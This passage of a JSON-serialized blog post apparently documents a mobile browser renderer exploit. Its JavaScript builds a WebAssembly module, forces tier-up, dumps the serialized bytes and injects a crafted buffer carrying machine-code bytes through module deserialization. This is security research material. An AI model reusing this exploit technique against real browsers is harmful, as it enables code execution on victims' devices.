%WasmTierUpFunction(func);\n",{"type":23,"tag":41,"props":136179,"children":136180},{"class":43,"line":54},[136181,136185,136189,136193,136197,136201,136205,136209,136213,136217,136222,136226,136230,136234],{"type":23,"tag":41,"props":136182,"children":136183},{"style":58},[136184],{"type":28,"value":3392},{"type":23,"tag":41,"props":136186,"children":136187},{"style":70},[136188],{"type":28,"value":142},{"type":23,"tag":41,"props":136190,"children":136191},{"style":64},[136192],{"type":28,"value":11784},{"type":23,"tag":41,"props":136194,"children":136195},{"style":858},[136196],{"type":28,"value":861},{"type":23,"tag":41,"props":136198,"children":136199},{"style":170},[136200],{"type":28,"value":3017},{"type":23,"tag":41,"props":136202,"children":136203},{"style":164},[136204],{"type":28,"value":392},{"type":23,"tag":41,"props":136206,"children":136207},{"style":70},[136208],{"type":28,"value":17213},{"type":23,"tag":41,"props":136210,"children":136211},{"style":858},[136212],{"type":28,"value":3737},{"type":23,"tag":41,"props":136214,"children":136215},{"style":170},[136216],{"type":28,"value":758},{"type":23,"tag":41,"props":136218,"children":136219},{"style":164},[136220],{"type":28,"value":136221}," 0x100000",{"type":23,"tag":41,"props":136223,"children":136224},{"style":70},[136225],{"type":28,"value":17213},{"type":23,"tag":41,"props":136227,"children":136228},{"style":858},[136229],{"type":28,"value":3737},{"type":23,"tag":41,"props":136231,"children":136232},{"style":170},[136233],{"type":28,"value":51264},{"type":23,"tag":41,"props":136235,"children":136236},{"style":70},[136237],{"type":28,"value":152},{"type":23,"tag":41,"props":136239,"children":136240},{"class":43,"line":76},[136241,136246],{"type":23,"tag":41,"props":136242,"children":136243},{"style":114},[136244],{"type":28,"value":136245},"  func",{"type":23,"tag":41,"props":136247,"children":136248},{"style":70},[136249],{"type":28,"value":3669},{"type":23,"tag":41,"props":136251,"children":136252},{"class":43,"line":85},[136253],{"type":23,"tag":41,"props":136254,"children":136255},{"style":70},[136256],{"type":28,"value":201},{"type":23,"tag":24,"props":136258,"children":136259},{},[136260],{"type":28,"value":136261},"Finally, running this code on the device:",{"type":23,"tag":31,"props":136263,"children":136265},{"code":136264,"language":35610,"meta":7,"className":35608,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[136266],{"type":23,"tag":37,"props":136267,"children":136268},{"__ignoreMap":7},[136269,136292,136320,136539,136606,136613,136656,136699,136738,136745,136753,136813,136825,136832,136839,136870,136913,136940,136947,136983,137046],{"type":23,"tag":41,"props":136270,"children":136271},{"class":43,"line":44},[136272,136276,136280,136284,136288],{"type":23,"tag":41,"props":136273,"children":136274},{"style":70},[136275],{"type":28,"value":1737},{"type":23,"tag":41,"props":136277,"children":136278},{"style":64},[136279],{"type":28,"value":36140},{"type":23,"tag":41,"props":136281,"children":136282},{"style":70},[136283],{"type":28,"value":39688},{"type":23,"tag":41,"props":136285,"children":136286},{"style":64},[136287],{"type":28,"value":14813},{"type":23,"tag":41,"props":136289,"children":136290},{"style":70},[136291],{"type":28,"value":102},{"type":23,"tag":41,"props":136293,"children":136294},{"class":43,"line":54},[136295,136300,136304,136308,136312,136316],{"type":23,"tag":41,"props":136296,"children":136297},{"style":64},[136298],{"type":28,"value":136299},"  var",{"type":23,"tag":41,"props":136301,"children":136302},{"style":858},[136303],{"type":28,"value":133172},{"type":23,"tag":41,"props":136305,"children":136306},{"style":170},[136307],{"type":28,"value":3017},{"type":23,"tag":41,"props":136309,"children":136310},{"style":64},[136311],{"type":28,"value":31927},{"type":23,"tag":41,"props":136313,"children":136314},{"style":114},[136315],{"type":28,"value":133185},{"type":23,"tag":41,"props":136317,"children":136318},{"style":70},[136319],{"type":28,"value":133190},{"type":23,"tag":41,"props":136321,"children":136322},{"class":43,"line":76},[136323,136327,136331,136335,136339,136343,136347,136351,136355,136359,136363,136367,136371,136375,136379,136383,136387,136391,136395,136399,136403,136407,136411,136415,136419,136423,136427,136431,136435,136439,136443,136447,136451,136455,136459,136463,136467,136471,136475,136479,136483,136487,136491,136495,136499,136503,136507,136511,136515,136519,136523,136527,136531,136535],{"type":23,"tag":41,"props":136324,"children":136325},{"style":164},[136326],{"type":28,"value":133915},{"type":23,"tag":41,"props":136328,"children":136329},{"style":70},[136330],{"type":28,"value":970},{"type":23,"tag":41,"props":136332,"children":136333},{"style":164},[136334],{"type":28,"value":133207},{"type":23,"tag":41,"props":136336,"children":136337},{"style":70},[136338],{"type":28,"value":970},{"type":23,"tag":41,"props":136340,"children":136341},{"style":164},[136342],{"type":28,"value":133216},{"type":23,"tag":41,"props":136344,"children":136345},{"style":70},[136346],{"type":28,"value":970},{"type":23,"tag":41,"props":136348,"children":136349},{"style":164},[136350],{"type":28,"value":133225},{"type":23,"tag":41,"props":136352,"children":136353},{"style":70},[136354],{"type":28,"value":970},{"type":23,"tag":41,"props":136356,"children":136357},{"style":164},[136358],{"type":28,"value":317},{"type":23,"tag":41,"props":136360,"children":136361},{"style":70},[136362],{"type":28,"value":970},{"type":23,"tag":41,"props":136364,"children":136365},{"style":164},[136366],{"type":28,"value":4024},{"type":23,"tag":41,"props":136368,"children":136369},{"style":70},[136370],{"type":28,"value":970},{"type":23,"tag":41,"props":136372,"children":136373},{"style":164},[136374],{"type":28,"value":4024},{"type":23,"tag":41,"props":136376,"children":136377},{"style":70},[136378],{"type":28,"value":970},{"type":23,"tag":41,"props":136380,"children":136381},{"style":164},[136382],{"type":28,"value":4024},{"type":23,"tag":41,"props":136384,"children":136385},{"style":70},[136386],{"type":28,"value":970},{"type":23,"tag":41,"props":136388,"children":136389},{"style":164},[136390],{"type":28,"value":317},{"type":23,"tag":41,"props":136392,"children":136393},{"style":70},[136394],{"type":28,"value":970},{"type":23,"tag":41,"props":136396,"children":136397},{"style":164},[136398],{"type":28,"value":17515},{"type":23,"tag":41,"props":136400,"children":136401},{"style":70},[136402],{"type":28,"value":970},{"type":23,"tag":41,"props":136404,"children":136405},{"style":164},[136406],{"type":28,"value":317},{"type":23,"tag":41,"props":136408,"children":136409},{"style":70},[136410],{"type":28,"value":970},{"type":23,"tag":41,"props":136412,"children":136413},{"style":164},[136414],{"type":28,"value":133290},{"type":23,"tag":41,"props":136416,"children":136417},{"style":70},[136418],{"type":28,"value":970},{"type":23,"tag":41,"props":136420,"children":136421},{"style":164},[136422],{"type":28,"value":4024},{"type":23,"tag":41,"props":136424,"children":136425},{"style":70},[136426],{"type":28,"value":970},{"type":23,"tag":41,"props":136428,"children":136429},{"style":164},[136430],{"type":28,"value":4024},{"type":23,"tag":41,"props":136432,"children":136433},{"style":70},[136434],{"type":28,"value":970},{"type":23,"tag":41,"props":136436,"children":136437},{"style":164},[136438],{"type":28,"value":17282},{"type":23,"tag":41,"props":136440,"children":136441},{"style":70},[136442],{"type":28,"value":970},{"type":23,"tag":41,"props":136444,"children":136445},{"style":164},[136446],{"type":28,"value":3123},{"type":23,"tag":41,"props":136448,"children":136449},{"style":70},[136450],{"type":28,"value":970},{"type":23,"tag":41,"props":136452,"children":136453},{"style":164},[136454],{"type":28,"value":317},{"type":23,"tag":41,"props":136456,"children":136457},{"style":70},[136458],{"type":28,"value":970},{"type":23,"tag":41,"props":136460,"children":136461},{"style":164},[136462],{"type":28,"value":4024},{"type":23,"tag":41,"props":136464,"children":136465},{"style":70},[136466],{"type":28,"value":970},{"type":23,"tag":41,"props":136468,"children":136469},{"style":164},[136470],{"type":28,"value":54666},{"type":23,"tag":41,"props":136472,"children":136473},{"style":70},[136474],{"type":28,"value":970},{"type":23,"tag":41,"props":136476,"children":136477},{"style":164},[136478],{"type":28,"value":55881},{"type":23,"tag":41,"props":136480,"children":136481},{"style":70},[136482],{"type":28,"value":970},{"type":23,"tag":41,"props":136484,"children":136485},{"style":164},[136486],{"type":28,"value":317},{"type":23,"tag":41,"props":136488,"children":136489},{"style":70},[136490],{"type":28,"value":970},{"type":23,"tag":41,"props":136492,"children":136493},{"style":164},[136494],{"type":28,"value":18096},{"type":23,"tag":41,"props":136496,"children":136497},{"style":70},[136498],{"type":28,"value":970},{"type":23,"tag":41,"props":136500,"children":136501},{"style":164},[136502],{"type":28,"value":133216},{"type":23,"tag":41,"props":136504,"children":136505},{"style":70},[136506],{"type":28,"value":970},{"type":23,"tag":41,"props":136508,"children":136509},{"style":164},[136510],{"type":28,"value":133387},{"type":23,"tag":41,"props":136512,"children":136513},{"style":70},[136514],{"type":28,"value":970},{"type":23,"tag":41,"props":136516,"children":136517},{"style":164},[136518],{"type":28,"value":133396},{"type":23,"tag":41,"props":136520,"children":136521},{"style":70},[136522],{"type":28,"value":970},{"type":23,"tag":41,"props":136524,"children":136525},{"style":164},[136526],{"type":28,"value":133405},{"type":23,"tag":41,"props":136528,"children":136529},{"style":70},[136530],{"type":28,"value":970},{"type":23,"tag":41,"props":136532,"children":136533},{"style":164},[136534],{"type":28,"value":133405},{"type":23,"tag":41,"props":136536,"children":136537},{"style":70},[136538],{"type":28,"value":3506},{"type":23,"tag":41,"props":136540,"children":136541},{"class":43,"line":85},[136542,136546,136550,136554,136558,136562,136566,136570,136574,136578,136582,136586,136590,136594,136598,136602],{"type":23,"tag":41,"props":136543,"children":136544},{"style":164},[136545],{"type":28,"value":133915},{"type":23,"tag":41,"props":136547,"children":136548},{"style":70},[136549],{"type":28,"value":970},{"type":23,"tag":41,"props":136551,"children":136552},{"style":164},[136553],{"type":28,"value":4024},{"type":23,"tag":41,"props":136555,"children":136556},{"style":70},[136557],{"type":28,"value":970},{"type":23,"tag":41,"props":136559,"children":136560},{"style":164},[136561],{"type":28,"value":89247},{"type":23,"tag":41,"props":136563,"children":136564},{"style":70},[136565],{"type":28,"value":970},{"type":23,"tag":41,"props":136567,"children":136568},{"style":164},[136569],{"type":28,"value":17515},{"type":23,"tag":41,"props":136571,"children":136572},{"style":70},[136573],{"type":28,"value":970},{"type":23,"tag":41,"props":136575,"children":136576},{"style":164},[136577],{"type":28,"value":317},{"type":23,"tag":41,"props":136579,"children":136580},{"style":70},[136581],{"type":28,"value":970},{"type":23,"tag":41,"props":136583,"children":136584},{"style":164},[136585],{"type":28,"value":3123},{"type":23,"tag":41,"props":136587,"children":136588},{"style":70},[136589],{"type":28,"value":970},{"type":23,"tag":41,"props":136591,"children":136592},{"style":164},[136593],{"type":28,"value":4024},{"type":23,"tag":41,"props":136595,"children":136596},{"style":70},[136597],{"type":28,"value":970},{"type":23,"tag":41,"props":136599,"children":136600},{"style":164},[136601],{"type":28,"value":133481},{"type":23,"tag":41,"props":136603,"children":136604},{"style":70},[136605],{"type":28,"value":3506},{"type":23,"tag":41,"props":136607,"children":136608},{"class":43,"line":105},[136609],{"type":23,"tag":41,"props":136610,"children":136611},{"style":70},[136612],{"type":28,"value":134202},{"type":23,"tag":41,"props":136614,"children":136615},{"class":43,"line":155},[136616,136620,136624,136628,136632,136636,136640,136644,136648,136652],{"type":23,"tag":41,"props":136617,"children":136618},{"style":64},[136619],{"type":28,"value":136299},{"type":23,"tag":41,"props":136621,"children":136622},{"style":858},[136623],{"type":28,"value":71619},{"type":23,"tag":41,"props":136625,"children":136626},{"style":170},[136627],{"type":28,"value":3017},{"type":23,"tag":41,"props":136629,"children":136630},{"style":64},[136631],{"type":28,"value":31927},{"type":23,"tag":41,"props":136633,"children":136634},{"style":858},[136635],{"type":28,"value":133516},{"type":23,"tag":41,"props":136637,"children":136638},{"style":70},[136639],{"type":28,"value":706},{"type":23,"tag":41,"props":136641,"children":136642},{"style":114},[136643],{"type":28,"value":85913},{"type":23,"tag":41,"props":136645,"children":136646},{"style":70},[136647],{"type":28,"value":1737},{"type":23,"tag":41,"props":136649,"children":136650},{"style":858},[136651],{"type":28,"value":133533},{"type":23,"tag":41,"props":136653,"children":136654},{"style":70},[136655],{"type":28,"value":3825},{"type":23,"tag":41,"props":136657,"children":136658},{"class":43,"line":186},[136659,136663,136667,136671,136675,136679,136683,136687,136691,136695],{"type":23,"tag":41,"props":136660,"children":136661},{"style":64},[136662],{"type":28,"value":136299},{"type":23,"tag":41,"props":136664,"children":136665},{"style":858},[136666],{"type":28,"value":133549},{"type":23,"tag":41,"props":136668,"children":136669},{"style":170},[136670],{"type":28,"value":3017},{"type":23,"tag":41,"props":136672,"children":136673},{"style":64},[136674],{"type":28,"value":31927},{"type":23,"tag":41,"props":136676,"children":136677},{"style":858},[136678],{"type":28,"value":133516},{"type":23,"tag":41,"props":136680,"children":136681},{"style":70},[136682],{"type":28,"value":706},{"type":23,"tag":41,"props":136684,"children":136685},{"style":114},[136686],{"type":28,"value":133570},{"type":23,"tag":41,"props":136688,"children":136689},{"style":70},[136690],{"type":28,"value":1737},{"type":23,"tag":41,"props":136692,"children":136693},{"style":858},[136694],{"type":28,"value":133579},{"type":23,"tag":41,"props":136696,"children":136697},{"style":70},[136698],{"type":28,"value":3825},{"type":23,"tag":41,"props":136700,"children":136701},{"class":43,"line":195},[136702,136706,136710,136714,136718,136722,136726,136730,136734],{"type":23,"tag":41,"props":136703,"children":136704},{"style":64},[136705],{"type":28,"value":136299},{"type":23,"tag":41,"props":136707,"children":136708},{"style":858},[136709],{"type":28,"value":80004},{"type":23,"tag":41,"props":136711,"children":136712},{"style":170},[136713],{"type":28,"value":3017},{"type":23,"tag":41,"props":136715,"children":136716},{"style":858},[136717],{"type":28,"value":133549},{"type":23,"tag":41,"props":136719,"children":136720},{"style":70},[136721],{"type":28,"value":706},{"type":23,"tag":41,"props":136723,"children":136724},{"style":858},[136725],{"type":28,"value":37881},{"type":23,"tag":41,"props":136727,"children":136728},{"style":70},[136729],{"type":28,"value":706},{"type":23,"tag":41,"props":136731,"children":136732},{"style":858},[136733],{"type":28,"value":133619},{"type":23,"tag":41,"props":136735,"children":136736},{"style":70},[136737],{"type":28,"value":183},{"type":23,"tag":41,"props":136739,"children":136740},{"class":43,"line":905},[136741],{"type":23,"tag":41,"props":136742,"children":136743},{"emptyLinePlaceholder":18},[136744],{"type":28,"value":82},{"type":23,"tag":41,"props":136746,"children":136747},{"class":43,"line":922},[136748],{"type":23,"tag":41,"props":136749,"children":136750},{"style":48},[136751],{"type":28,"value":136752},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":41,"props":136754,"children":136755},{"class":43,"line":930},[136756,136761,136765,136769,136773,136777,136781,136785,136789,136793,136797,136801,136805,136809],{"type":23,"tag":41,"props":136757,"children":136758},{"style":58},[136759],{"type":28,"value":136760},"  for",{"type":23,"tag":41,"props":136762,"children":136763},{"style":70},[136764],{"type":28,"value":142},{"type":23,"tag":41,"props":136766,"children":136767},{"style":64},[136768],{"type":28,"value":11784},{"type":23,"tag":41,"props":136770,"children":136771},{"style":858},[136772],{"type":28,"value":861},{"type":23,"tag":41,"props":136774,"children":136775},{"style":170},[136776],{"type":28,"value":3017},{"type":23,"tag":41,"props":136778,"children":136779},{"style":164},[136780],{"type":28,"value":392},{"type":23,"tag":41,"props":136782,"children":136783},{"style":70},[136784],{"type":28,"value":17213},{"type":23,"tag":41,"props":136786,"children":136787},{"style":858},[136788],{"type":28,"value":3737},{"type":23,"tag":41,"props":136790,"children":136791},{"style":170},[136792],{"type":28,"value":758},{"type":23,"tag":41,"props":136794,"children":136795},{"style":164},[136796],{"type":28,"value":136221},{"type":23,"tag":41,"props":136798,"children":136799},{"style":70},[136800],{"type":28,"value":17213},{"type":23,"tag":41,"props":136802,"children":136803},{"style":858},[136804],{"type":28,"value":3737},{"type":23,"tag":41,"props":136806,"children":136807},{"style":170},[136808],{"type":28,"value":51264},{"type":23,"tag":41,"props":136810,"children":136811},{"style":70},[136812],{"type":28,"value":152},{"type":23,"tag":41,"props":136814,"children":136815},{"class":43,"line":939},[136816,136821],{"type":23,"tag":41,"props":136817,"children":136818},{"style":114},[136819],{"type":28,"value":136820},"    func",{"type":23,"tag":41,"props":136822,"children":136823},{"style":70},[136824],{"type":28,"value":3669},{"type":23,"tag":41,"props":136826,"children":136827},{"class":43,"line":947},[136828],{"type":23,"tag":41,"props":136829,"children":136830},{"style":70},[136831],{"type":28,"value":5872},{"type":23,"tag":41,"props":136833,"children":136834},{"class":43,"line":985},[136835],{"type":23,"tag":41,"props":136836,"children":136837},{"emptyLinePlaceholder":18},[136838],{"type":28,"value":82},{"type":23,"tag":41,"props":136840,"children":136841},{"class":43,"line":1058},[136842,136846,136850,136854,136858,136862,136866],{"type":23,"tag":41,"props":136843,"children":136844},{"style":64},[136845],{"type":28,"value":7855},{"type":23,"tag":41,"props":136847,"children":136848},{"style":858},[136849],{"type":28,"value":135655},{"type":23,"tag":41,"props":136851,"children":136852},{"style":170},[136853],{"type":28,"value":3017},{"type":23,"tag":41,"props":136855,"children":136856},{"style":114},[136857],{"type":28,"value":135664},{"type":23,"tag":41,"props":136859,"children":136860},{"style":70},[136861],{"type":28,"value":1737},{"type":23,"tag":41,"props":136863,"children":136864},{"style":858},[136865],{"type":28,"value":133579},{"type":23,"tag":41,"props":136867,"children":136868},{"style":70},[136869],{"type":28,"value":3825},{"type":23,"tag":41,"props":136871,"children":136872},{"class":43,"line":1084},[136873,136877,136881,136885,136889,136893,136897,136901,136905,136909],{"type":23,"tag":41,"props":136874,"children":136875},{"style":858},[136876],{"type":28,"value":135700},{"type":23,"tag":41,"props":136878,"children":136879},{"style":170},[136880],{"type":28,"value":3017},{"type":23,"tag":41,"props":136882,"children":136883},{"style":70},[136884],{"type":28,"value":142},{"type":23,"tag":41,"props":136886,"children":136887},{"style":58},[136888],{"type":28,"value":32909},{"type":23,"tag":41,"props":136890,"children":136891},{"style":858},[136892],{"type":28,"value":135655},{"type":23,"tag":41,"props":136894,"children":136895},{"style":70},[136896],{"type":28,"value":706},{"type":23,"tag":41,"props":136898,"children":136899},{"style":114},[136900],{"type":28,"value":57561},{"type":23,"tag":41,"props":136902,"children":136903},{"style":70},[136904],{"type":28,"value":135729},{"type":23,"tag":41,"props":136906,"children":136907},{"style":858},[136908],{"type":28,"value":1652},{"type":23,"tag":41,"props":136910,"children":136911},{"style":70},[136912],{"type":28,"value":183},{"type":23,"tag":41,"props":136914,"children":136915},{"class":43,"line":1102},[136916,136920,136924,136928,136932,136936],{"type":23,"tag":41,"props":136917,"children":136918},{"style":858},[136919],{"type":28,"value":101662},{"type":23,"tag":41,"props":136921,"children":136922},{"style":70},[136923],{"type":28,"value":706},{"type":23,"tag":41,"props":136925,"children":136926},{"style":114},[136927],{"type":28,"value":101671},{"type":23,"tag":41,"props":136929,"children":136930},{"style":70},[136931],{"type":28,"value":1737},{"type":23,"tag":41,"props":136933,"children":136934},{"style":858},[136935],{"type":28,"value":9079},{"type":23,"tag":41,"props":136937,"children":136938},{"style":70},[136939],{"type":28,"value":3825},{"type":23,"tag":41,"props":136941,"children":136942},{"class":43,"line":1110},[136943],{"type":23,"tag":41,"props":136944,"children":136945},{"emptyLinePlaceholder":18},[136946],{"type":28,"value":82},{"type":23,"tag":41,"props":136948,"children":136949},{"class":43,"line":1118},[136950,136954,136959,136963,136967,136971,136975,136979],{"type":23,"tag":41,"props":136951,"children":136952},{"style":64},[136953],{"type":28,"value":7855},{"type":23,"tag":41,"props":136955,"children":136956},{"style":858},[136957],{"type":28,"value":136958}," result_bytes",{"type":23,"tag":41,"props":136960,"children":136961},{"style":170},[136962],{"type":28,"value":3017},{"type":23,"tag":41,"props":136964,"children":136965},{"style":64},[136966],{"type":28,"value":31927},{"type":23,"tag":41,"props":136968,"children":136969},{"style":114},[136970],{"type":28,"value":133185},{"type":23,"tag":41,"props":136972,"children":136973},{"style":70},[136974],{"type":28,"value":1737},{"type":23,"tag":41,"props":136976,"children":136977},{"style":858},[136978],{"type":28,"value":9079},{"type":23,"tag":41,"props":136980,"children":136981},{"style":70},[136982],{"type":28,"value":3825},{"type":23,"tag":41,"props":136984,"children":136985},{"class":43,"line":1137},[136986,136990,136994,136998,137002,137006,137010,137014,137018,137022,137026,137030,137034,137038,137042],{"type":23,"tag":41,"props":136987,"children":136988},{"style":858},[136989],{"type":28,"value":101662},{"type":23,"tag":41,"props":136991,"children":136992},{"style":70},[136993],{"type":28,"value":706},{"type":23,"tag":41,"props":136995,"children":136996},{"style":114},[136997],{"type":28,"value":101671},{"type":23,"tag":41,"props":136999,"children":137000},{"style":70},[137001],{"type":28,"value":1737},{"type":23,"tag":41,"props":137003,"children":137004},{"style":735},[137005],{"type":28,"value":133752},{"type":23,"tag":41,"props":137007,"children":137008},{"style":170},[137009],{"type":28,"value":8901},{"type":23,"tag":41,"props":137011,"children":137012},{"style":858},[137013],{"type":28,"value":136958},{"type":23,"tag":41,"props":137015,"children":137016},{"style":70},[137017],{"type":28,"value":706},{"type":23,"tag":41,"props":137019,"children":137020},{"style":114},[137021],{"type":28,"value":133769},{"type":23,"tag":41,"props":137023,"children":137024},{"style":70},[137025],{"type":28,"value":1737},{"type":23,"tag":41,"props":137027,"children":137028},{"style":735},[137029],{"type":28,"value":133778},{"type":23,"tag":41,"props":137031,"children":137032},{"style":70},[137033],{"type":28,"value":866},{"type":23,"tag":41,"props":137035,"children":137036},{"style":170},[137037],{"type":28,"value":4383},{"type":23,"tag":41,"props":137039,"children":137040},{"style":735},[137041],{"type":28,"value":133791},{"type":23,"tag":41,"props":137043,"children":137044},{"style":70},[137045],{"type":28,"value":3825},{"type":23,"tag":41,"props":137047,"children":137048},{"class":43,"line":1163},[137049],{"type":23,"tag":41,"props":137050,"children":137051},{"style":70},[137052],{"type":28,"value":101703},{"type":23,"tag":24,"props":137054,"children":137055},{},[137056],{"type":28,"value":137057},"We get the serialized bytes:",{"type":23,"tag":24,"props":137059,"children":137060},{},[137061],{"type":23,"tag":3918,"props":137062,"children":137065},{"alt":137063,"src":137064},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":137067,"children":137068},{},[137069,137071,137076],{"type":28,"value":137070},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":37,"props":137072,"children":137074},{"className":137073},[],[137075],{"type":28,"value":132648},{"type":28,"value":1474},{"type":23,"tag":31,"props":137078,"children":137080},{"code":137079,"language":35610,"meta":7,"className":35608,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[137081],{"type":23,"tag":37,"props":137082,"children":137083},{"__ignoreMap":7},[137084,137107,137134,137353,137420,137427,137454,137665,137916,138167,138391,138573,138794,138872,138879,138926,138969,139005,139048,139087,139114],{"type":23,"tag":41,"props":137085,"children":137086},{"class":43,"line":44},[137087,137091,137095,137099,137103],{"type":23,"tag":41,"props":137088,"children":137089},{"style":70},[137090],{"type":28,"value":1737},{"type":23,"tag":41,"props":137092,"children":137093},{"style":64},[137094],{"type":28,"value":36140},{"type":23,"tag":41,"props":137096,"children":137097},{"style":70},[137098],{"type":28,"value":39688},{"type":23,"tag":41,"props":137100,"children":137101},{"style":64},[137102],{"type":28,"value":14813},{"type":23,"tag":41,"props":137104,"children":137105},{"style":70},[137106],{"type":28,"value":102},{"type":23,"tag":41,"props":137108,"children":137109},{"class":43,"line":54},[137110,137114,137118,137122,137126,137130],{"type":23,"tag":41,"props":137111,"children":137112},{"style":64},[137113],{"type":28,"value":36183},{"type":23,"tag":41,"props":137115,"children":137116},{"style":858},[137117],{"type":28,"value":133172},{"type":23,"tag":41,"props":137119,"children":137120},{"style":170},[137121],{"type":28,"value":3017},{"type":23,"tag":41,"props":137123,"children":137124},{"style":64},[137125],{"type":28,"value":31927},{"type":23,"tag":41,"props":137127,"children":137128},{"style":114},[137129],{"type":28,"value":133185},{"type":23,"tag":41,"props":137131,"children":137132},{"style":70},[137133],{"type":28,"value":133190},{"type":23,"tag":41,"props":137135,"children":137136},{"class":43,"line":76},[137137,137141,137145,137149,137153,137157,137161,137165,137169,137173,137177,137181,137185,137189,137193,137197,137201,137205,137209,137213,137217,137221,137225,137229,137233,137237,137241,137245,137249,137253,137257,137261,137265,137269,137273,137277,137281,137285,137289,137293,137297,137301,137305,137309,137313,137317,137321,137325,137329,137333,137337,137341,137345,137349],{"type":23,"tag":41,"props":137138,"children":137139},{"style":164},[137140],{"type":28,"value":133915},{"type":23,"tag":41,"props":137142,"children":137143},{"style":70},[137144],{"type":28,"value":970},{"type":23,"tag":41,"props":137146,"children":137147},{"style":164},[137148],{"type":28,"value":133207},{"type":23,"tag":41,"props":137150,"children":137151},{"style":70},[137152],{"type":28,"value":970},{"type":23,"tag":41,"props":137154,"children":137155},{"style":164},[137156],{"type":28,"value":133216},{"type":23,"tag":41,"props":137158,"children":137159},{"style":70},[137160],{"type":28,"value":970},{"type":23,"tag":41,"props":137162,"children":137163},{"style":164},[137164],{"type":28,"value":133225},{"type":23,"tag":41,"props":137166,"children":137167},{"style":70},[137168],{"type":28,"value":970},{"type":23,"tag":41,"props":137170,"children":137171},{"style":164},[137172],{"type":28,"value":317},{"type":23,"tag":41,"props":137174,"children":137175},{"style":70},[137176],{"type":28,"value":970},{"type":23,"tag":41,"props":137178,"children":137179},{"style":164},[137180],{"type":28,"value":4024},{"type":23,"tag":41,"props":137182,"children":137183},{"style":70},[137184],{"type":28,"value":970},{"type":23,"tag":41,"props":137186,"children":137187},{"style":164},[137188],{"type":28,"value":4024},{"type":23,"tag":41,"props":137190,"children":137191},{"style":70},[137192],{"type":28,"value":970},{"type":23,"tag":41,"props":137194,"children":137195},{"style":164},[137196],{"type":28,"value":4024},{"type":23,"tag":41,"props":137198,"children":137199},{"style":70},[137200],{"type":28,"value":970},{"type":23,"tag":41,"props":137202,"children":137203},{"style":164},[137204],{"type":28,"value":317},{"type":23,"tag":41,"props":137206,"children":137207},{"style":70},[137208],{"type":28,"value":970},{"type":23,"tag":41,"props":137210,"children":137211},{"style":164},[137212],{"type":28,"value":17515},{"type":23,"tag":41,"props":137214,"children":137215},{"style":70},[137216],{"type":28,"value":970},{"type":23,"tag":41,"props":137218,"children":137219},{"style":164},[137220],{"type":28,"value":317},{"type":23,"tag":41,"props":137222,"children":137223},{"style":70},[137224],{"type":28,"value":970},{"type":23,"tag":41,"props":137226,"children":137227},{"style":164},[137228],{"type":28,"value":133290},{"type":23,"tag":41,"props":137230,"children":137231},{"style":70},[137232],{"type":28,"value":970},{"type":23,"tag":41,"props":137234,"children":137235},{"style":164},[137236],{"type":28,"value":4024},{"type":23,"tag":41,"props":137238,"children":137239},{"style":70},[137240],{"type":28,"value":970},{"type":23,"tag":41,"props":137242,"children":137243},{"style":164},[137244],{"type":28,"value":4024},{"type":23,"tag":41,"props":137246,"children":137247},{"style":70},[137248],{"type":28,"value":970},{"type":23,"tag":41,"props":137250,"children":137251},{"style":164},[137252],{"type":28,"value":17282},{"type":23,"tag":41,"props":137254,"children":137255},{"style":70},[137256],{"type":28,"value":970},{"type":23,"tag":41,"props":137258,"children":137259},{"style":164},[137260],{"type":28,"value":3123},{"type":23,"tag":41,"props":137262,"children":137263},{"style":70},[137264],{"type":28,"value":970},{"type":23,"tag":41,"props":137266,"children":137267},{"style":164},[137268],{"type":28,"value":317},{"type":23,"tag":41,"props":137270,"children":137271},{"style":70},[137272],{"type":28,"value":970},{"type":23,"tag":41,"props":137274,"children":137275},{"style":164},[137276],{"type":28,"value":4024},{"type":23,"tag":41,"props":137278,"children":137279},{"style":70},[137280],{"type":28,"value":970},{"type":23,"tag":41,"props":137282,"children":137283},{"style":164},[137284],{"type":28,"value":54666},{"type":23,"tag":41,"props":137286,"children":137287},{"style":70},[137288],{"type":28,"value":970},{"type":23,"tag":41,"props":137290,"children":137291},{"style":164},[137292],{"type":28,"value":55881},{"type":23,"tag":41,"props":137294,"children":137295},{"style":70},[137296],{"type":28,"value":970},{"type":23,"tag":41,"props":137298,"children":137299},{"style":164},[137300],{"type":28,"value":317},{"type":23,"tag":41,"props":137302,"children"